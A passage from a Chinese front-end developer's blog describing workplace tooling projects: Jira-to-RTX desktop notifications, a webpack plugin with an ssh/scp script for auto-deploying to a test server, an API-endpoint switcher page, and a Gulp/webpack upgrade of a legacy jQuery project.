<span class="line"><span style="color:#C792EA;">const</span><span style="color:#A6ACCD;"> NOTIFY_URL </span><span style="color:#89DDFF;">=</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">http://41.196.100.10:8012/SendNotify.cgi</span><span style="color:#89DDFF;">&quot;</span></span>
<span class="line"><span style="color:#676E95;font-style:italic;">// 发送方式，拼接查询参数，get方式调用</span></span>
<span class="line"><span style="color:#C792EA;">let</span><span style="color:#A6ACCD;"> requestParams </span><span style="color:#89DDFF;">=</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">`</span><span style="color:#C3E88D;">msg=</span><span style="color:#89DDFF;">${</span><span style="color:#82AAFF;">encodeURIComponent</span><span style="color:#A6ACCD;">(msg)</span><span style="color:#89DDFF;">}</span><span style="color:#C3E88D;">&amp;receiver=</span><span style="color:#89DDFF;">${</span><span style="color:#A6ACCD;">receiver</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">join</span><span style="color:#A6ACCD;">(</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">,</span><span style="color:#89DDFF;">&quot;</span></span>
<span class="line"><span style="color:#A6ACCD;">)</span><span style="color:#89DDFF;">}</span><span style="color:#C3E88D;">&amp;title=</span><span style="color:#89DDFF;">${</span><span style="color:#82AAFF;">encodeURIComponent</span><span style="color:#A6ACCD;">(title)</span><span style="color:#89DDFF;">}</span><span style="color:#C3E88D;">&amp;delaytime=</span><span style="color:#89DDFF;">${</span><span style="color:#A6ACCD;">delaytime</span><span style="color:#89DDFF;">}`</span></span>
<span class="line"><span style="color:#C792EA;">let</span><span style="color:#A6ACCD;"> requestURL </span><span style="color:#89DDFF;">=</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">`${</span><span style="color:#A6ACCD;">NOTIFY_URL</span><span style="color:#89DDFF;">}</span><span style="color:#C3E88D;">?</span><span style="color:#89DDFF;">${</span><span style="color:#A6ACCD;">requestParams</span><span style="color:#89DDFF;">}`</span></span>
<span class="line"></span></code></pre></div><p><code>msg</code>即发送的消息，<code>receiver</code>接收者，逗号分割，<code>delaytime</code>通知显示时长，为 0 永久。</p><blockquote><p>需要注意的是，rtx 调用 cgi 接口是需要开权限的，在安装目录下<code>RTXServer/SDKProperty</code>文件内添加上调用者的 ip 再重启服务即可；可以调用的 cgi 接口在<code>WebRoot</code>目录下</p></blockquote><h5 id="着手实现" tabindex="-1">着手实现 <a class="header-anchor" href="#着手实现" aria-hidden="true">#</a></h5><p>服务实现，我使用<code>nodeJS</code>编写，其实实现没有太多可说的，按照登录 jira、获取人员 jira 列表、比对前后数据、调用 rtx 进行通知流程进行。</p><p>并每隔一段时间获取一次，我是工作日白天每 10 秒一次，其他时间 10 分钟一次。</p><p>需要注意的有几个点：</p><p>1、调用 jira 相关接口，需要设置适当的<code>Referer</code>和<code>User-Agent</code>头部</p><p>2、请求我使用的是现成的库<code>axios</code></p><p>3、jira 的 jql 示例：</p><div class="language-js"><button title="Copy Code" class="copy"></button><span class="lang">js</span><pre class="shiki material-theme-palenight" tabindex="0"><code><span class="line"><span style="color:#676E95;font-style:italic;">// jira列表，获取三种状态下的jira：打开、进行中、重新打开。</span></span>
<span class="line"><span style="color:#C792EA;">const</span><span style="color:#A6ACCD;"> currentListJQL </span><span style="color:#89DDFF;">=</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">`</span><span style="color:#C3E88D;">status in (Open, &quot;In Progress&quot;, Reopened) AND assignee in (</span><span style="color:#89DDFF;">${</span><span style="color:#A6ACCD;">users</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">join</span><span style="color:#A6ACCD;">(</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">,</span><span style="color:#89DDFF;">&quot;</span></span>
<span class="line"><span style="color:#A6ACCD;">)</span><span style="color:#89DDFF;">}</span><span style="color:#C3E88D;">)</span><span style="color:#89DDFF;">`</span></span>
<span class="line"></span></code></pre></div><h5 id="最终成果" tabindex="-1">最终成果 <a class="header-anchor" href="#最终成果" aria-hidden="true">#</a></h5><p>最终效果如下面动图演示 <img src="/assets/jira.d0064473.gif" alt=""></p><h5 id="总结-6" tabindex="-1">总结 <a class="header-anchor" href="#总结-6" aria-hidden="true">#</a></h5><p>这个服务部署后，我给我们部门 20 多个开发和测试人员添加了通知，大家对这个功能连连称赞，哈哈。</p><p>再也不需要频繁刷新 jira 网页了，只需要看到桌面弹出通知，点击进去处理，极大提高协作效率！</p><p>起始这个工具用到的技能都不难，只是需要思维发散，有想法，把自己的知识综合运用，就能做很多有趣有用的作品！</p><h4 id="一键发布到测试服务器" tabindex="-1">一键发布到测试服务器 <a class="header-anchor" href="#一键发布到测试服务器" aria-hidden="true">#</a></h4><h5 id="产生背景-1" tabindex="-1">产生背景 <a class="header-anchor" href="#产生背景-1" aria-hidden="true">#</a></h5><p>刚到现在的公司时，在熟悉了项目后，发现发布项目到测试服的方式非常原始和低效，大致流程是运行打包，然后通过<code>ftp</code>软件如<code>xftp</code>手动拷贝打包后的文件到服务器目录下。</p><p>造成的问题很多，一个是发布时间长，第二个是发布容易出问题，第三个是每个要发布的开发者都需要配置 ftp 以及帐号密码等，成本高。</p><p>根据我之前的经验，这种流程是完全可以自动化实现。</p><h5 id="实现方式" tabindex="-1">实现方式 <a class="header-anchor" href="#实现方式" aria-hidden="true">#</a></h5><p>实现的大致思路如下：</p><ul><li><p>1、编写<code>webpack</code>插件，监听打包完成的生命周期钩子函数</p></li><li><p>2、打包完毕，调用发布到服务器脚本，脚本通过<code>ssh</code>连接服务器，拷贝到插件配置的目录</p></li><li><p>3、删除本地<code>dist</code>目录</p></li><li><p>4、插件的核心代码如下：</p><div class="language-js"><button title="Copy Code" class="copy"></button><span class="lang">js</span><pre class="shiki material-theme-palenight" tabindex="0"><code><span class="line"><span style="color:#C792EA;">class</span><span style="color:#A6ACCD;"> </span><span style="color:#FFCB6B;">PTS</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#F07178;">apply</span><span style="color:#89DDFF;">(</span><span style="color:#A6ACCD;font-style:italic;">compiler</span><span style="color:#89DDFF;">)</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#89DDFF;">    </span><span style="color:#676E95;font-style:italic;">// webpack编译完成，开始打包</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#A6ACCD;">compiler</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">hooks</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">done</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">tap</span><span style="color:#F07178;">(</span></span>
<span class="line"><span style="color:#F07178;">      </span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">publish-to-server</span><span style="color:#89DDFF;">&quot;</span><span style="color:#89DDFF;">,</span></span>
<span class="line"><span style="color:#F07178;">      </span><span style="color:#89DDFF;">this.</span><span style="color:#A6ACCD;">compileDoneCallback</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">bind</span><span style="color:#F07178;">(</span><span style="color:#89DDFF;">this</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">    ) </span><span style="color:#676E95;font-style:italic;">// webpack4.x 5.x</span></span>
<span class="line"><span style="color:#89DDFF;">    </span><span style="color:#676E95;font-style:italic;">// compiler.plugin(&#39;done&#39;, this.compileDoneCallback.bind(this))  //webpack3.x</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#F07178;">compileDoneCallback</span><span style="color:#89DDFF;">(</span><span style="color:#A6ACCD;font-style:italic;">stats</span><span style="color:#89DDFF;">)</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#89DDFF;">    </span><span style="color:#676E95;font-style:italic;">// 调用shell脚本</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#89DDFF;">}</span></span>
<span class="line"></span></code></pre></div></li><li><p>5、发布脚本核心代码如下：</p><div class="language-sh"><button title="Copy Code" class="copy"></button><span class="lang">sh</span><pre class="shiki material-theme-palenight" tabindex="0"><code><span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#676E95;font-style:italic;"># ssh登录，并备份和删除文件夹</span></span>
<span class="line"><span style="color:#A6ACCD;">  </span><span style="color:#FFCB6B;">ssh</span><span style="color:#A6ACCD;"> </span><span style="color:#C3E88D;">-p</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">${</span><span style="color:#A6ACCD;">port</span><span style="color:#89DDFF;">}</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">${</span><span style="color:#A6ACCD;">username</span><span style="color:#89DDFF;">}</span><span style="color:#C3E88D;">@</span><span style="color:#89DDFF;">${</span><span style="color:#A6ACCD;">ip</span><span style="color:#89DDFF;">}</span><span style="color:#A6ACCD;"> </span><span style="color:#C3E88D;">-i</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">${</span><span style="color:#A6ACCD;">identityFilePath</span><span style="color:#89DDFF;">}</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">&gt;</span><span style="color:#A6ACCD;"> </span><span style="color:#C3E88D;">/dev/nul</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">2&gt;&amp;1</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">&lt;&lt;</span><span style="color:#C3E88D;"> </span><span style="color:#89DDFF;">sshoff</span></span>
<span class="line"><span style="color:#C3E88D;">  cd </span><span style="color:#A6ACCD;">$destPath</span></span>
<span class="line"><span style="color:#C3E88D;">  rm -rf backup_*</span></span>
<span class="line"><span style="color:#C3E88D;">  mkdir -p  </span><span style="color:#89DDFF;">${</span><span style="color:#C3E88D;">back_name</span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#C3E88D;">  mv ./* </span><span style="color:#89DDFF;">${</span><span style="color:#C3E88D;">back_name</span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#C3E88D;">  exit</span></span>
<span class="line"><span style="color:#C3E88D;">  sshoff</span></span>
<span class="line"><span style="color:#C3E88D;">  # scp命令拷贝</span></span>
<span class="line"><span style="color:#C3E88D;">  scp -P </span><span style="color:#89DDFF;">${</span><span style="color:#C3E88D;">port</span><span style="color:#89DDFF;">}</span><span style="color:#C3E88D;"> -i </span><span style="color:#89DDFF;">${</span><span style="color:#C3E88D;">identityFilePath</span><span style="color:#89DDFF;">}</span><span style="color:#C3E88D;"> -r </span><span style="color:#89DDFF;">${</span><span style="color:#C3E88D;">localPath</span><span style="color:#89DDFF;">}</span><span style="color:#C3E88D;"> </span><span style="color:#89DDFF;">${</span><span style="color:#C3E88D;">username</span><span style="color:#89DDFF;">}</span><span style="color:#C3E88D;">@</span><span style="color:#89DDFF;">${</span><span style="color:#C3E88D;">ip</span><span style="color:#89DDFF;">}</span><span style="color:#C3E88D;">:</span><span style="color:#89DDFF;">${</span><span style="color:#C3E88D;">destPath</span><span style="color:#89DDFF;">}</span></span>
<span class="line"></span></code></pre></div></li><li><p>6、服务端认证文件<code>identityFilePath</code>是在本机生成的私钥，并追加公钥到服务器<code>~.ssh/authorized_keys</code>文件中</p><div class="language-shell"><button title="Copy Code" class="copy"></button><span class="lang">shell</span><pre class="shiki material-theme-palenight" tabindex="0"><code><span class="line"><span style="color:#A6ACCD;"> </span><span style="color:#FFCB6B;">ssh-keygen</span><span style="color:#A6ACCD;"> </span><span style="color:#C3E88D;">-t</span><span style="color:#A6ACCD;"> </span><span style="color:#C3E88D;">rsa</span></span>
<span class="line"></span></code></pre></div></li><li><p>7、第一次发布可能会弹出信任弹窗，输入 yes 即可。</p></li></ul><h5 id="最终成果-1" tabindex="-1">最终成果 <a class="header-anchor" href="#最终成果-1" aria-hidden="true">#</a></h5><p>工具编写完毕，在 webpack 对应配置文件中引入插件，执行<code>npm run testing</code>命令，打包完后即可自动发布到测试服务器，省去了手动使用 ftp 工具拷贝等费时费力流程，还有自动备份操作。</p><p>示例如下，打包完成后发布到服务器： <img src="/assets/pts.6f949334.png" alt=""></p><h5 id="总结-7" tabindex="-1">总结 <a class="header-anchor" href="#总结-7" aria-hidden="true">#</a></h5><p>这个工具，一般纯前端是很难想到实现方式的，因为涉及到 shell 脚本、linux 服务器等小部分知识，因为我之前干过一段时间运维，所以有这方面的经验。</p><p>我觉得开发者应该不仅限于自己的那一小块领域，应该在做好主业的基础上，尽量扩大自己的知识面，在以后会大有裨益的。</p><p>毕竟，工业时代才分专业，信息时代全科制霸！</p><h4 id="开发者工具" tabindex="-1">开发者工具 <a class="header-anchor" href="#开发者工具" aria-hidden="true">#</a></h4><h5 id="产生背景-2" tabindex="-1">产生背景 <a class="header-anchor" href="#产生背景-2" aria-hidden="true">#</a></h5><p>在项目开发过程中，和服务端对接接口时，由于不同模块可能由不同服务端人员完成，当对接不同模块时，就需要频繁的更换请求的服务端地址；</p><p>并且服务端在调试自己功能时，也可能会有需求让前端连接自己的服务。</p><p>在之前，更改服务端接口地址，都是由前端开发者手动更改<code>config</code>中的配置完成，所以经常会有后端人员跑来说你可以启一个前端服务访问我的地址吗？</p><p>在被不断的类似重复需求向我砸来的同时，我也在思考，这玩意儿就不能让服务端自己改吗？</p><h5 id="做了什么" tabindex="-1">做了什么 <a class="header-anchor" href="#做了什么" aria-hidden="true">#</a></h5><p>根据自己的思路，开发了一个页面，这个页面内置了部分服务端接口，也可以自己添加接口地址；</p><p>每个接口有两个操作按钮，启用和删除，启用时，就代表当前系统访问接口为该地址；</p><p>配置存储在<code>localStorage</code>中，系统访问接口会优先读取<code>localStorage</code>中的配置，然后才是<code>config</code>中的配置；</p><p>当然开发者页面只有在开发环境才会启用；</p><p>由此，服务端人员自己也可以更改项目访问的接口地址了，不再打扰前端开发人员。当然也方便了很多人，比如测试人员，以及项目演示人员等等</p><h5 id="总结-8" tabindex="-1">总结 <a class="header-anchor" href="#总结-8" aria-hidden="true">#</a></h5><p>这个功能发布后，受到了一致好评，后端和前端已经依赖上这个小工具了，<code>config</code>的开发配置几乎没再更改过！</p><p>功能非常简单，但是获得的收获非常大！</p><h3 id="老项目升级改造" tabindex="-1">老项目升级改造 <a class="header-anchor" href="#老项目升级改造" aria-hidden="true">#</a></h3><h5 id="为什么要做这件事" tabindex="-1">为什么要做这件事 <a class="header-anchor" href="#为什么要做这件事" aria-hidden="true">#</a></h5><p>公司有一个老项目，也是公司的标杆项目，使用的是原生 js+<code>jquery</code>来开发的，由于年限比较久，经历过的开发者多，导致项目混乱，维护难度极大。</p><p>同时工程化程度很低，导致开发效率不高，无法使用<code>es6+</code>、less 预编译等新技术，开发和线上环境也未分离。</p><p>我开始接手维护该项目时，对这种效率极低又比较容易出错的开发方式有更深刻的印象，根据我的经验，我觉得这个项目可以采用一些现代工程化技术，提高一部分开发效率。</p><h5 id="做了些什么" tabindex="-1">做了些什么 <a class="header-anchor" href="#做了些什么" aria-hidden="true">#</a></h5><ul><li><p><strong>升级的核心要素</strong></p><p>为了使结构改变最小，项目影响最小，收益最大化，我做的升级对现有文件资源影响很小。</p></li><li><p><strong>针对 web 服务</strong></p><p>该项目的前端资源和后端代码是放在一个库不同目录的，访问前端资源需要使用<code>InelliJ IDEA</code>启动 Tomcat 做作为 web 服务，配置麻烦启动缓慢。</p><p>针对此点，我在前端资源目录<code>WebContent/</code>下使用<code>http-server</code>库作为 http 服务，抛弃 Tomcat。</p></li><li><p><strong>构建工具和任务运行器</strong></p><p>针对该项目的特点，<code>Gulp</code>这种管道方式定义任务的特性很适合我的需求；</p><p>最终，我采用<code>Gulp</code>来定义任务流，<code>Webpack</code>来进行模块打包的方式，来完成我的升级改造！</p></li><li><p><strong>区分开发和线上环境</strong></p><p>更改项目配置文件为<code>es6</code>文件，通过<code>p<wbr>rocess.env.NODE_ENV</code>区分是否开发环境</p></li><li><p><strong>针对 js 资源</strong></p><p>采用<code>webpack-stream</code>库，以达到使用<code>webpack</code>打包器，并能使用<code>import export</code>的目的，只编译<code>.es6</code>和<code>.esm</code>结尾的文件，不影响现有的 js 文件，如果之前的 js 需要使用 es6+语法，可更改后缀。</p></li><li><p><strong>针对样式</strong></p><p>采用<code>gulp-less</code>库进行预处理，只编译<code>.less</code>和<code>.lessm</code>文件,并输出<code>.css</code>同名文件到同级目录。</p></li></ul><h5 id="需要注意的比较重要的地方" tabindex="-1">需要注意的比较重要的地方 <a class="header-anchor" href="#需要注意的比较重要的地方" aria-hidden="true">#</a></h5><ul><li><p>通过<code>cross-env</code>设置环境变量，如：</p><blockquote><p>&quot;dev&quot;: &quot;cross-env NODE_ENV=development gulp watch&quot;,</p></blockquote></li><li><p><code>gulp watch</code>只监听<code>.es6</code>和<code>.less</code>文件的修改，<code>.esm</code>和<code>.lessm</code>用于模块导入导出（<code>import export</code>）</p></li><li><p>引入<code>webpack-stream</code>库的主要目的是为了使用 es6 的模块功能，让我们项目可以编写一些通用组件</p></li><li><p>执行<code>npm run build</code>打包命令有几步操作：</p><ul><li>拷贝 html 目录的所有文件到 dist 目录</li><li>重新以 production 模式编译.es6 和.less 文件</li><li>删除 dist 目录下的所有.es6 和.less 文件</li></ul></li><li><p>由于项目使用了地图资源，地图资源有自己的加载器，是采用 AMD 方式的 Dojo 库，为了避免冲突，针对<code>map/</code>目录下的资源，不使用<code>webpack</code>只使用<code>gulp-babel</code>转译即可</p></li><li><p>使用<code>webpack</code>打包后的 js 文件，如果需要给全局使用，需要定义在<code>window</code>对象下</p></li><li><p>如果使用了新的 API 或者静态方法，需要引入<code>polyfill</code>库</p></li><li><p>生成的文件如下示例： <img src="/assets/pgis.4f4d799e.jpg" alt=""></p></li></ul><h5 id="获得了什么收益" tabindex="-1">获得了什么收益 <a class="header-anchor" href="#获得了什么收益" aria-hidden="true">#</a></h5><p>通过此次改造，让我们的老项目改动很少即可使用<code>es6+</code>语法和方便的<code>less</code>来书写样式，并可以编写通用组件供重复使用，极大提高开发效率，不再让开发者看到要维护老项目就头疼！</p><p>另外因为项目页面多使用<code>iframe</code>，顺便也编写了一个针对性强的<code>pubsub</code>库，大致原理是发布端通过<code>sessionStorage.setItem</code>设置数据， 订阅端监听<code>storage</code>事件，接收消息，相比<code>postMessage</code>可以更方便的在同域不同 iframe 之间交流数据。</p><h5 id="总结-9" tabindex="-1">总结 <a class="header-anchor" href="#总结-9" aria-hidden="true">#</a></h5><p>通过这次老项目的升级改造，解决了公司长久以来的一大难点，即该标杆项目维护难、开发者不愿维护、维护效率低的问题。</p><p>另一个就是在打包工具<code>webpack</code>占据主导地位时，<code>Gulp</code>任务处理器也有自己发挥的地方！</p></div></div></main><!--[--><!--]--><footer class="VPDocFooter" data-v-c5936a1e data-v-e033cd21><div class="edit-info" data-v-e033cd21><!----><div class="last-updated" data-v-e033cd21><p class="VPLastUpdated" data-v-e033cd21 data-v-355aa5ef>更新时间: <time datetime="2023-03-01T15:45:52.000Z" data-v-355aa5ef></time></p></div></div><div class="prev-next" data-v-e033cd21><div class="pager" data-v-e033cd21><a class="pager-link prev" href="/blog/interviews/webpack-for-frontend-interview-questions-collection.html" data-v-e033cd21><span class="desc" data-v-e033cd21>前一篇</span><span class="title" data-v-e033cd21>前端知识点之webpack篇</span></a></div><div class="has-prev pager" data-v-e033cd21><a class="pager-link next" href="/blog/interviews/safe-for-frontend-interview-questions-collection.html" data-v-e033cd21><span class="desc" data-v-e033cd21>下一篇</span><span class="title" data-v-e033cd21>前端知识点之安全篇</span></a></div></div></footer><!--[--><!--]--></div></div></div></div></div><!----><!--[--><!--]--></div></div>
    <script>__VP_HASH_MAP__ = JSON.parse("{\"about_me.md\":\"a6963ed5\",\"about_contact.md\":\"753dd087\",\"blog_interviews_project-for-frontend-interview-questions-collection.md\":\"3ac3f621\",\"blog_svg_jiaohu.md\":\"bdc89024\",\"index.md\":\"ac84e241\",\"blog_svg_lujing.md\":\"2247252e\",\"blog_svg_lvjing.md\":\"7fb98f9e\",\"blog_svg_rumen.md\":\"760fcfc8\",\"blog_svg_tuanhejianbian.md\":\"1d67f731\",\"blog_svg_userspaceonuse-and-objectboundingbox.md\":\"7135675e\",\"blog_svg_wendangjiegou.md\":\"659e2114\",\"english_how.md\":\"47ca54fc\",\"blog_svg_zuobiaoxitong.md\":\"9f073aa7\",\"blog_svg_zuobiaoxitongbianhuan.md\":\"09c91562\",\"english_howtolearnword.md\":\"29e67a9c\",\"english_plan.md\":\"d3863f0d\",\"english_string.md\":\"afd02e54\",\"blog_interviews_css-for-frontend-interview-questions-collection.md\":\"ad8ec08c\",\"blog_interviews_index.md\":\"7922302b\",\"blog_interviews_javascript-for-frontend-interview-questions-collection.md\":\"1f97ba08\",\"blog_interviews_mian-shi-xin-de.md\":\"f249f58c\",\"blog_interviews_pingtouge-interview-questions-collection.md\":\"01898e13\",\"life_car_baoxian.md\":\"1a0484fd\",\"life_index.md\":\"294ee10b\",\"life_car_jiaotongshiguchuli.md\":\"2dfb478a\",\"life_car_kaiche.md\":\"fb68bff5\",\"photograph_fujifilm_renxiangpeifang.md\":\"df9d71f0\",\"photograph_fujifilm_jiappianjichu.md\":\"e4797107\",\"blog_readingnotes_browserprinciple.md\":\"5600b029\",\"blog_interviews_webpack-for-frontend-interview-questions-collection.md\":\"5e087073\",\"photograph_fujifilm_fengguangpeifang.md\":\"1f3c5cc8\",\"blog_summary_20210702.md\":\"992c6ebc\",\"blog_summary_20210716.md\":\"27df70fd\",\"blog_summary_20210723.md\":\"b3df6f63\",\"blog_summary_20210730.md\":\"0fd6c31f\",\"blog_readingnotes_jsgc4-2.md\":\"754107dd\",\"blog_summary_20210806.md\":\"8ede013a\",\"blog_svg_caijianhemengban.md\":\"345a71fa\",\"blog_readingnotes_jsgc4.md\":\"badec6ec\",\"blog_2020_07_accumulation-fund-transform.md\":\"ea36b833\",\"blog_svg_jibenxingzhuang.md\":\"3d07ebc2\",\"photograph_home.md\":\"289914d9\",\"photograph_fujifilm_xiangjishezhi.md\":\"c859f451\",\"photograph_sheyingzhishi.md\":\"7db1fab8\",\"photograph_xiangjixuanze.md\":\"b38cb6f4\",\"wemedia_what.md\":\"1d28f58c\",\"wemedia_emoji.md\":\"234e5631\",\"blog_2020_07_css-modules-docs.md\":\"4575442d\",\"blog_2020_07_git-docs.md\":\"22c9808c\",\"blog_2020_07_http-cache-and-nginx-config.md\":\"82b01b17\",\"blog_svg_donghua.md\":\"87326708\",\"blog_2020_06_gatsby-markdown-blog-system.md\":\"87de2558\",\"blog_2020_06_ubuntu14.04-install-nginx-for-source-code.md\":\"eff6df3c\",\"blog_2020_07_throttle-and-debounce.md\":\"745f9ff3\",\"blog_2020_07_regex-in-javascript.md\":\"375103f6\",\"blog_finance_income.md\":\"90b9a5cf\",\"blog_interviews_safe-for-frontend-interview-questions-collection.md\":\"6ae808c2\",\"blog_2020_07_vim-docs.md\":\"50a62a76\",\"blog_2020_08_fiddler.md\":\"29bf9a9b\",\"blog_2020_11_webpack-how-to-load-chunks.md\":\"2fc96bb0\",\"blog_2020_07_use-react-framework-web-site.md\":\"f836a6bd\",\"blog_interviews_algorithm-javascript.md\":\"72bdd42b\",\"blog_summary_20210611.md\":\"4cc8a1ab\",\"blog_summary_20210529.md\":\"fb886442\",\"blog_interviews_babel-for-frontend-interview-questions-collection.md\":\"495cb8da\",\"blog_summary_20210124.md\":\"ee3946e0\",\"blog_summary_20210619.md\":\"ef11c68e\",\"blog_summary_20210626.md\":\"5d8d583c\",\"blog_svg_wenben.md\":\"4aaeb73b\",\"blog_interviews_html-for-frontend-interview-questions-collection.md\":\"78197e40\",\"blog_interviews_react-for-frontend-interview-questions-collection.md\":\"90e3af48\",\"blog_interviews_http-for-frontend-interview-questions-collection.md\":\"1129730d\",\"blog_frontend_library.md\":\"34c972ff\",\"blog_readingnotes_reactandnodejs.md\":\"8a99114b\"}")</script>
    <script type="module" async src="/assets/app.6facf8ba.js"></script>
    
  </body>
</html>